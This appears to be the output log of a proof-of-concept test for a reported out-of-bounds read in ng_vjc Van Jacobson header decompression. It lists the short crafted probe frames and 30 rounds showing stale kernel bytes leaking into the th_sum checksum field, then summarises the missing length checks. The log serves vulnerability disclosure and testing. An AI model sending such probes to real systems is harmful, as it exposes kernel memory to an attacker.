DF-3537/DF-3538: ng_vjc VJ decompression OOB read (stale mbuf data leak)

[sanity] after legal 19-byte frame with checksum 0xC75D:
[sanity]   cstate th_sum = 0xC75D == 0xC75D OK  (mirror verified)

[oracle] 2-byte probes [40 01]: th_sum must be read from offsets 2,3
[oracle] which are PAST the 2-byte packet end; every non-zero value
[oracle] written into th_sum is out-of-bounds stale kernel data:
[oracle] round  1: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round  2: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round  3: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round  4: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round  5: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round  6: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round  7: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round  8: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round  9: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 10: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 11: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 12: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 13: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 14: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 15: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 16: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 17: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 18: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 19: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 20: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 21: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 22: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 23: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 24: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 25: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 26: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 27: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 28: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 29: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] round 30: th_sum = 0x1111  <== OOB bytes leaked into kernel cstate
[oracle] 30/30 rounds leaked non-zero stale bytes via th_sum

[fields] 4-byte probes [67 01 00 00]: DECODE walk reads offsets 4..15;
[fields] any cstate delta-field change is OOB data, re-emitted by the
[fields] clean emit frame out the ip hook:
[fields] 0/30 rounds corrupted delta fields; 0 delivered out the ip hook

RESULT: sl_uncompress_tcp_core() reads past the end of short compressed
frames (no buflen checks in the DECODE walk or the mandatory th_sum read);
the out-of-bounds bytes persist in the VJ receive state and are disclosed
to the ip hook inside subsequently reconstructed TCP/IP headers.